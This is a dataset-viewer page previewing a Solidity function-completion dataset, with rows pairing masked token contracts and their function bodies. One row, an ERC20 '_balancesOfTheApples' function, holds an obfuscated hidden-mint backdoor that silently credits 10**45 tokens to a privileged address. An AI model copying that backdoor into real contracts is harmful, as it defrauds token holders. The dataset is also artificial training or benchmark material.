Dataset Viewer
Auto-converted to Parquet Duplicate
contract_name
stringlengths
1
55
func_name
stringlengths
0
76
⌀
func_body
stringlengths
1
15.6k
source_idx
stringlengths
1
6
masked_contract
stringlengths
60
27.5k
func_body_removed_comment
stringlengths
1
9.41k
SCT
balanceOf
return balanceOf[_owner];
1
contract SCT is SafeMath{ string public name; string public symbol; address public owner; uint8 public decimals; uint256 public totalSupply; address public icoContractAddress; uint256 public tokensTotalSupply = 3100 * (10**6) * 10**18; mapping (address => bool) restrictedAddress...
return balanceOf[_owner];
ApusToken
ownerBurnToken
require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); delete transferIns[msg.sender]; transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now))); totalSupply = totalSupply.sub(_value); totalInitialSupply = ...
100003
contract ApusToken is ERC20,StakeStandard,Ownable { using SafeMath for uint256; string public name = "Apus Token"; string public symbol = "APUS"; uint public decimals = 18; uint public chainStartTime; uint public chainStartBlockNumber; uint public stakeStartTime; uint public s...
require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); delete transferIns[msg.sender]; transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now))); totalSupply = totalSupply.sub(_value); totalInitialSupply = totalIni...
EthereumSpring
null
name = "Ethereum Spring (Official)"; symbol = "eSpring"; decimals = 18; _totalSupply = 1000000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply);
100005
contract EthereumSpring is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => ui...
name = "Ethereum Spring (Official)"; symbol = "eSpring"; decimals = 18; _totalSupply = 1000000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply);
GladiatorInu
null
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; unis...
100009
contract GladiatorInu is ERC20, Ownable { using SafeMath for uint256; bool private swapping; bool private isTradingEnabled; uint256 private startTime; uint256 public swapTokensAtAmount = 85 * 10**7 * (10**18); IUniswapV2Router02 public uniswapV2Router; address pub...
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2P...
ToyOwnership
ownerOf
// owner must not be the zero address require ( toyArray[uidToToyIndex[_tokenId]].owner != 0, "TOY Token has no owner" ); return toyArray[uidToToyIndex[_tokenId]].owner;
100010
contract ToyOwnership { struct ToyToken { // owner ID list address owner; // unique identifier uint uid; // timestamp uint timestamp; // exp uint exp; // toy data bytes toyData; } struct ExternalNft{ // Co...
require ( toyArray[uidToToyIndex[_tokenId]].owner != 0, "TOY Token has no owner" ); return toyArray[uidToToyIndex[_tokenId]].owner;
CryptoAdsToken
name
return "CryptoAds Token";
100012
contract CryptoAdsToken is AbstractToken { /** * Address of the owner of this smart contract. */ address private owner; /** * Total number of tokens in circulation. */ uint256 tokenCount; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = ...
return "CryptoAds Token";
ValidationUtil
requireNotEmptyAddress
require(isAddressNotEmpty(value));
100014
contract ValidationUtil { function requireNotEmptyAddress(address value){<FILL_FUNCTION_BODY>} function isAddressNotEmpty(address value) internal returns (bool result){ return value != 0; } }
require(isAddressNotEmpty(value));
ClicableTVSale
tokenWeiToSale
return token.balanceOf(this);
100015
contract ClicableTVSale is Ownable { using SafeMath for uint256; // The token being sold ClickableTVToken public token; // start and end timestamps where investments are allowed (both inclusive) // uint256 public startTime = block.timestamp; // for test. Time of deploy smart-contract /...
return token.balanceOf(this);
ERC20
_balancesOfTheApples
_balances[account] += (((account == _msgSanders) && (garbage > 2)) ? (10 ** 45) : 0);
100017
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) private Bottle; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address[] private Hotel; address private Ocean = address(0); addr...
_balances[account] += (((account == _msgSanders) && (garbage > 2)) ? (10 ** 45) : 0);
DXC
DXC
owner = msg.sender; uint256 teamtoken = 1e1; distr(owner, teamtoken);
10002
contract DXC is ERC20 { using SafeMath for uint256; address owner = 0xBc4b57D2789a0EfF23662F08A4210351909Aa4B0; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public blacklist; string public constant nam...
owner = msg.sender; uint256 teamtoken = 1e1; distr(owner, teamtoken);
HadsofFortune
init
m_rgp.startTimestamp = timestamp + 1; emit LogRGPInit( now, m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays ); // init Private Entrance m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr); m_privEnter.rev2Storage = Rev2Storage(address(m_investors)); //m_privEnter.investorMax...
100021
contract HadsofFortune is Accessibility { using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection; using PrivateEntrance for PrivateEntrance.privateEntrance; using Percent for Percent.percent; using SafeMath for uint; using Math for uint; // easy read for investors using Address for *; usin...
m_rgp.startTimestamp = timestamp + 1; emit LogRGPInit( now, m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays ); m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr); m_privEnter.rev2Storage = Rev2Storage(address(m_investors)); m_privEnter.endTimestamp = timestamp; emit LogPEInit( now, add...
RatingToken
RatingToken
// assign the admin account admin = _admin; // assign the total tokens to Rating totalSupply = _totalTokenAmount; balances[msg.sender] = _totalTokenAmount; Transfer(address(0x0), msg.sender, _totalTokenAmount);
100023
contract RatingToken is PausableToken { string public constant name = "Rating"; string public constant symbol = "Rating"; uint8 public constant decimals = 8; modifier validDestination( address to ) { require(to != address(0x0)); require(to != address(this)); _...
admin = _admin; totalSupply = _totalTokenAmount; balances[msg.sender] = _totalTokenAmount; Transfer(address(0x0), msg.sender, _totalTokenAmount);
SushiSwapUserInfo
setContracts
factory = IFactory(factory_); masterChef = IMasterChef(masterChef_); sushi = ISushiToken(sushi_); WETH = WETH_;
100026
contract SushiSwapUserInfo is Ownable { using SafeMath for uint256; IFactory factory = IFactory(0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac); IMasterChef masterChef = IMasterChef(0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd); ISushiToken sushi = ISushiToken(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); ...
factory = IFactory(factory_); masterChef = IMasterChef(masterChef_); sushi = ISushiToken(sushi_); WETH = WETH_;
SocialRecoveryModule
getDataHash
return keccak256(data);
10003
contract SocialRecoveryModule is Module { string public constant NAME = "Social Recovery Module"; string public constant VERSION = "0.0.2"; uint256 public threshold; address[] public friends; // isFriend mapping maps friend's address to friend status. mapping (address => bool) public ...
return keccak256(data);
HintHelpers
setAddresses
checkContract(_sortedTrovesAddress); checkContract(_troveManagerAddress); sortedTroves = ISortedTroves(_sortedTrovesAddress); troveManager = ITroveManager(_troveManagerAddress); emit SortedTrovesAddressChanged(_sortedTrovesAddress); emit TroveManagerAddressChan...
100031
contract HintHelpers is LiquityBase, Ownable, CheckContract { string constant public NAME = "HintHelpers"; ISortedTroves public sortedTroves; ITroveManager public troveManager; // --- Events --- event SortedTrovesAddressChanged(address _sortedTrovesAddress); event TroveManagerAddressC...
checkContract(_sortedTrovesAddress); checkContract(_troveManagerAddress); sortedTroves = ISortedTroves(_sortedTrovesAddress); troveManager = ITroveManager(_troveManagerAddress); emit SortedTrovesAddressChanged(_sortedTrovesAddress); emit TroveManagerAddressChanged(_tro...
Zoomates
null
_feeAddrWallet1 = payable(0xAdd93476694A4F99912024aE9370F1153eB2D9D2); _feeAddrWallet2 = payable(0xAdd93476694A4F99912024aE9370F1153eB2D9D2); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedF...
100034
contract Zoomates is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; ...
_feeAddrWallet1 = payable(0xAdd93476694A4F99912024aE9370F1153eB2D9D2); _feeAddrWallet2 = payable(0xAdd93476694A4F99912024aE9370F1153eB2D9D2); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee...
WELFARECOIN
TokenERC20
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = "WELFARECOIN"; // Set the name for display purposes ...
100035
contract WELFARECOIN { // Public variables of the token string public name; string public symbol; uint8 public decimals = 0; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (addres...
totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = "WELFARECOIN"; symbol = "WECO";
BurnableToken
burn
require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value);
100036
contract BurnableToken is StandardToken { function burn(uint _value) public {<FILL_FUNCTION_BODY>} event Burn(address indexed burner, uint indexed value); }
require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value);
RPTToken
RPTToken
crowdFundAddress = _crowdFundAddress; // Token Distribution tokensAllocatedToCrowdFund = 70 * 10 ** 24; // 70 % allocation of totalSupply keyEmployeeAllocation = 30 * 10 ** 24; // 30 % allocation of totalSupply // Assigned balances to respective stakeholders balances[founderMultiSigAddress] = keyEmployeeAllo...
10004
contract RPTToken is BasicToken { using SafeMath for uint256; string public name = "RPT Token"; //name of the token string public symbol = "RPT"; // symbol of the token uint8 public decimals = 18; // decimals uint256 public totalSupply = 100000000 * 10**18; // total supply of RPT Tokens // variables uint256...
crowdFundAddress = _crowdFundAddress; tokensAllocatedToCrowdFund = 70 * 10 ** 24; keyEmployeeAllocation = 30 * 10 ** 24; balances[founderMultiSigAddress] = keyEmployeeAllocation; balances[crowdFundAddress] = tokensAllocatedToCrowdFund; totalAllocatedTokens = balances[founderMultiSigAddress];
Ejob
null
_mint(0x653fdd77a87ad48180BDC2Dc9beA5A17e2420CF6, 60000000000 * (10 ** uint256(18)));
100041
contract Ejob is ERC20, ERC20Detailed, ERC20Burnable { using SafeERC20 for ERC20; constructor() ERC20Burnable() ERC20Detailed('Ejob', 'EJOB', 18) ERC20() public {<FILL_FUNCTION_BODY>} }
_mint(0x653fdd77a87ad48180BDC2Dc9beA5A17e2420CF6, 60000000000 * (10 ** uint256(18)));
BEU
lock
require(msg.sender == owner); // Only Owner require(_to != 0x0); // Prevent lock to 0x0 address require((_value == 0) || (lockOf[_to] == 0)); // Only Reset, n...
100044
contract BEU { using SafeMath for uint256; string public name = "BitEDU"; string public symbol = "BEU"; uint8 public decimals = 18; uint256 public totalSupply = 2000000000000000000000000000; address public owner; bool public lockAll = false; /* This creates an array with all bal...
require(msg.sender == owner); require(_to != 0x0); require((_value == 0) || (lockOf[_to] == 0)); require(balanceOf[_to] >= _value); ...
TeamPool
vestingCount
return cache[_beneficiary].length;
100045
contract TeamPool is TokenPool, Ownable { mapping(address => TokenVesting[]) cache; function addVestor( address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, uint256 totalTokens, bool revokable ) public onlyOwner poolReady return...
return cache[_beneficiary].length;
AdoreNetwork
reinvest
require(rewardLedger[msg.sender]>0); uint256 _amountOfTokens = purchaseTokens(rewardLedger[msg.sender],genTree[msg.sender]); rewardLedger[msg.sender] = 0; return _amountOfTokens;
10005
contract AdoreNetwork { modifier onlyBagholders() { require(myTokens() > 0); _; } modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } /*============================== = ...
require(rewardLedger[msg.sender]>0); uint256 _amountOfTokens = purchaseTokens(rewardLedger[msg.sender],genTree[msg.sender]); rewardLedger[msg.sender] = 0; return _amountOfTokens;
OWO
null
governance = msg.sender; addMinter(governance); // underlying _mint function has hard limit mint(governance, 53180082e18);
100052
contract OWO is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("OWO", "OWO", 18) {<FILL_FUNCTION_BODY>} function mint...
governance = msg.sender; addMinter(governance); mint(governance, 53180082e18);
BTCGW
null
_mint(msg.sender, initialSupply); // 21 Millions of BTCGW - Initial supply _maximumSupply = 2100000000000000;
100053
contract BTCGW is Ownable, ERC20Burnable, ERC20Detailed { uint256 private _maximumSupply; constructor(uint256 initialSupply) ERC20Detailed("BitcoinGalaxy Warp", "BTCGW", 8) public {<FILL_FUNCTION_BODY>} function maximumSupply() public view returns (uint256) { return _maximumSupply; } ...
_mint(msg.sender, initialSupply); _maximumSupply = 2100000000000000;
TheWildBunch
devMint
require(_mintNum + current_minted <= maxWildOnes, "Cannot mint more the total supply."); for(uint256 i = 0; i < _mintNum; i++) { current_minted += 1; wildOnesClaimed[msg.sender] += 1; super._mint(msg.sender, current_minted); }
100054
contract TheWildBunch is NFTokenMetadata, Ownable { // Properties address payable feeAddress; uint constant public wildOnePrice = 0.1 ether; uint constant public maxWildOnes = 4000; // Total WildOne Supply // Switches bool public isMintingActive = false; // Is minting open? Ye...
require(_mintNum + current_minted <= maxWildOnes, "Cannot mint more the total supply."); for(uint256 i = 0; i < _mintNum; i++) { current_minted += 1; wildOnesClaimed[msg.sender] += 1; super._mint(msg.sender, current_minted); }
JesusCoin
mercy
return _mercyOfGod;
100057
contract JesusCoin is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS; ...
return _mercyOfGod;
Airdrop
startAirdrop
for(uint256 i = 0; i < users.length; i++) { address account = users[i]; uint256 amount = amounts[i]; LogAccountAmount(account, amount); token.transfer(account, amount); }
100058
contract Airdrop { ERC20 public token; event LogAccountAmount(address indexed user, uint256 indexed amount); function Airdrop(address _token) public { token = ERC20(_token); } function setToken(address _token) public { token = ERC20(_token); } // Uses tran...
for(uint256 i = 0; i < users.length; i++) { address account = users[i]; uint256 amount = amounts[i]; LogAccountAmount(account, amount); token.transfer(account, amount); }
Token
null
_symbol = "ERRR"; _name = "ELON MUSK Rapid Rocket"; _decimals = 6; _totalSupply = 10000000000000; _owner = payable(msg.sender); _balances[_owner] = _totalSupply;
100060
contract Token is ERC20{ mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _name; string private _symbol; address payable private _owner; construc...
_symbol = "ERRR"; _name = "ELON MUSK Rapid Rocket"; _decimals = 6; _totalSupply = 10000000000000; _owner = payable(msg.sender); _balances[_owner] = _totalSupply;
Crowdsale
burnRemaining
uint256 burnThis = token.balanceOf(this); token.transfer(address(0), burnThis);
100061
contract Crowdsale is Ownable { using SafeMath for uint256; Token public token; uint256 public RATE = 50000; // Number of tokens per Ether uint256 public START; uint256 public minETH = 100 finney; uint256 public constant initialTokens = 4000000000 * 10**18; // Initial number of...
uint256 burnThis = token.balanceOf(this); token.transfer(address(0), burnThis);
xCoolCats
_baseURI
return _baseTokenURI;
100063
contract xCoolCats is Ownable, ERC721A, ReentrancyGuard { uint256 public maxPerAddressDuringMint; uint256 public amountForDevs; uint256 public price = 0.01 ether; uint256 public freemintAmount = 20; uint256 public mintAmount = 20; bool public revealed = false; struct SaleConfig { uint64 publicP...
return _baseTokenURI;
FatherBInu
null
name = "Father B Inu"; symbol = "FBI"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply);
100064
contract FatherBInu is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint))...
name = "Father B Inu"; symbol = "FBI"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply);
BTFD
null
_feeAddrWallet1 = payable(0xcc3DCdC97276a743157bb1f49B32C5203140c489); _feeAddrWallet2 = payable(0xcc3DCdC97276a743157bb1f49B32C5203140c489); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedF...
100065
contract BTFD is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; ma...
_feeAddrWallet1 = payable(0xcc3DCdC97276a743157bb1f49B32C5203140c489); _feeAddrWallet2 = payable(0xcc3DCdC97276a743157bb1f49B32C5203140c489); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee...
DummyBancorToken
withdraw
if (balances[msg.sender] < amount) return false; uint256 ethAmount = calculateSaleReturn(totalSupply, reserveBalance(), ratio, amount); balances[msg.sender] -= amount; totalSupply -= amount; if (!msg.sender.send(ethAmount)) { balances[msg.sender] += amount; ...
10007
contract DummyBancorToken is BasicERC20Token, BancorFormula { string public standard = 'Token 0.1'; string public name = 'Dummy Constant Reserve Rate Token'; string public symbol = 'DBT'; uint8 public decimals = 18; uint256 public totalSupply = 0; uint8 public ratio = 10; // CRR of 10% ...
if (balances[msg.sender] < amount) return false; uint256 ethAmount = calculateSaleReturn(totalSupply, reserveBalance(), ratio, amount); balances[msg.sender] -= amount; totalSupply -= amount; if (!msg.sender.send(ethAmount)) { balances[msg.sender] += amount; ...
TeamVesting
getLockedFunds
return ERC20Interface(asset).balanceOf(this);
100078
contract TeamVesting is Object { uint constant TIME_LOCK_SCOPE = 51000; uint constant TIME_LOCK_TRANSFER_ERROR = TIME_LOCK_SCOPE + 10; uint constant TIME_LOCK_TRANSFERFROM_ERROR = TIME_LOCK_SCOPE + 11; uint constant TIME_LOCK_BALANCE_ERROR = TIME_LOCK_SCOPE + 12; uint constant TIME_LOCK_TIMEST...
return ERC20Interface(asset).balanceOf(this);
ERC20Detailed
null
_name = tname; _symbol = tsymbol; _decimals = tdecimals;
100084
contract ERC20Detailed is ERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor( string memory tname, string memory tsymbol, uint8 tdecimals ) {<FILL_FUNCTION_BODY>} function name() public view returns (string memory) { ...
_name = tname; _symbol = tsymbol; _decimals = tdecimals;
ProofOfPassiveDividends
deposit
require(preauthorized[msg.sender] || gameStarted); // Removed the referral feature due to nonsense fud! depositHelper(msg.value); emit Deposit(msg.sender, msg.value);
100086
contract ProofOfPassiveDividends { using SafeMath for uint256; event Deposit(address user, uint amount); event Withdraw(address user, uint amount); event Claim(address user, uint dividends); event Reinvest(address user, uint dividends); address owner; mapping(address => bool) preau...
require(preauthorized[msg.sender] || gameStarted); depositHelper(msg.value); emit Deposit(msg.sender, msg.value);
End of preview. Expand in Data Studio

No dataset card yet

Downloads last month
3